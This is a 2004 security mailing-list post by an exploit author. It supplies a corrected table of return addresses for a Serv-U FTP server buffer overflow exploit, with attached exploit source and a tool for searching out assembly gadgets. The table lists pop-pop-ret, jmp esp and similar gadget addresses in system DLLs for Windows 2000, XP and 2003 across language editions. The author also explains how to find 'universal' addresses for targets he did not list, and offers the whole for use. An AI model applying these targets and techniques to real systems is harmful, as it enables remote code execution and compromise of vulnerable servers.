Serv-U Real Target and Search ASM Code Tool for Overflow Exploit.

["lion" <lion@xxxxxxxxxxxx>]

hi,

someone said my exploit make a carsh. 
because i remove some target.
please use this target:

==============================================
struct
{
        DWORD   dwJMP;
        char    *szDescription;
}targets[] =
{
        {0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},    
//msvcrt.dll pop,pop,ret addr
//      {0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},                
//msvcrt.dll pop,pop,ret addr
        {0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},                
//msvcrt.dll pop,pop,ret addr    

//      {0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},                
//pop,pop,ret addr for all CN win2000,winxp,win2003
        {0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},                
//pop,pop,ret addr for all CN win2000,winxp,win2003
        {0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},                
//pop,pop,ret addr for all EN win2000,winxp,win2003
        {0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},                
//pop,pop,ret addr for all TW win2000,winxp,win2003
//      {0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},                
//jmp ebx addr for all TW win2000
        {0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},                
//jmp ebx addr for all KR win2000

        {0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},                
//jmp esp addr for all CN win2000,winxp,win2003
        {0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},                
//jmp esp addr for all CN win2000,winxp,win2003
        {0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},                
//jmp esp addr for all TW win2000,winxp,win2003
        {0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},                
//jmp esp addr for all TW win2000,winxp,win2003

        {0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},                
//call esp addr for all KR win2000,winxp,win2003
        {0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},                
//call esp addr for all KR win2000,winxp,win2003
        {0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},                
//setupapi.dll jmp esp addr
        {0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},                
//setupapi.dll jmp esp addr

//      {0x7802ba77,"Serv-U test"},         
},v;
============================

and you can use sac.cpp (search asm code tool) to find other version system's 
universal address.

1. The magic address found in msvcrt.dll on the same systems(for 
example,win2000 sp4) are universal, even they have diffrent system language.
2. The magic address found from the address 0x7ffa0000 is universal on the same 
language system(for example, the address can work on the Chinese Simplified 
win2k,winxp,win2003 system).

 enjoy it. :) 

               lion
               lion@xxxxxxxxxxxx
               http://www.cnhonker.com
               2004-03-04

Attachment: sac.cpp
Description: Binary data

Attachment: Servu2.c
Description: Binary data